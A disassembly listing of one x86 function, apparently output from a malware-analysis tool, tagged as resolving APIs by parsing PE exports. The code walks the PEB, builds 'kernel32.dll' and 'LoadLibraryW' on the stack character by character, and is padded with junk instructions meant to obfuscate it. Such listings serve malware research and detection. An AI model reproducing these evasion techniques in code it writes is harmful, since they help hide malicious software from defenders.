Function at 0x430510
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add byte [eax], al
sub edi, 0x1518c
pop edi
cmp dword [ebp - 0xc20], 0
loopne 0x430505
invalid
inc dword [eax]
jne 0x430526
loopne 0x430505
invalid
mov dword [ebp - 0x2e0], 0
jmp 0x430786
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ecx
push ebx
add esp, 4
sub ecx, 0x3874
call 0x43054c
add byte [eax + 0x4b], cl
aas
dec ebx
cmp dword [eax + edi], edi
aas
dec ebp
add esp, 4
pop ecx
push esi
or esi, 0x129ac
add esi, 0x4850
add esi, 0x11c15
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
push ecx
add esp, 4
sub ecx, 0x1cf3
xor ecx, 0x5453
jmp 0x4305a8
and ecx, 0x6d5d
pop ecx
push esi
add esi, 0x3c5c
xor esi, 0xcdf8
or esi, 0x118e
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
sub esi, 0x860a
add esi, 0xd3a8
pop esi
push edx
call 0x430639
add byte [eax], al
dec eax
dec eax
inc ebp
inc ebx
xor dh, byte [esi]
cmp al, byte [ebx - 0xd7efb3c]
cmc
outsd dx, dword [esi]
add dword [eax], eax
and edx, 0x11de3
xor edx, 0x8f78
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x430672
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x4306d5
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x430591
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x430591
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x4306bf
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x4306c9
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x43071e
push ecx
push eax
add esp, 4
sub ecx, 0xee15
call 0x4306f8
add byte [edx + 0x33], cl
cmp dword [edx], esi
dec edx
dec edx
push eax
xor al, 0x37
add esp, 4
add ecx, 0x6242
or ecx, 0x2549
pop ecx
push esi
or esi, 0xf3e8
pop esi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x430786
push ecx
and ecx, 0x2503
pop ecx
push ebx
push edx
add esp, 4
sub ebx, 0xd359
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x163e7
xor eax, 0x16a62
add eax, 0x29a9
xor eax, 0xec8c
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x43077c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x430532
mov dword [ebp - 0x2e0], 0
push ebx
and ebx, 0xd6cd
and ebx, 0x6eef
pop ebx
push edx
add edx, 0x1cbb
or edx, 0x11b0c
xor edx, 0x67f8
pop edx
push eax
sub eax, 0xca70
pop eax
push esi
or esi, 0x28bd
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x4310d1
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
push eax
add esp, 4
or eax, 0x129f1
pop eax
push esi
sub esi, 0x7801
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0x14d72
xor ebx, 0xcf93
and ebx, 0x13a07
or ebx, 0x1669b
pop ebx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
add edi, 0x3fa3
pop edi
push edx
xor edx, 0x744a
pop edx
push eax
call 0x430931
add byte [esi], dh
inc ecx
inc eax
inc esp
cmp cl, byte [esi + 0x48]
add esp, 4
jmp 0x43093d
sub eax, 0x15995
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x43095c
mov dword [ebp - 0x6ec], 0
jmp fcn.00430c18
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edx
xor edx, 0x155bb
mov ebx, 0x81000155
retf 0x31e1
add byte [eax], al
xor edx, 0x127a3
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x12ded
xor ecx, 0x16448
sub ecx, 0x183e9
sub ecx, 0x8d7e
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x4309b8
mov dword [ebp - 0x6ec], 0
jmp fcn.00430c18
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx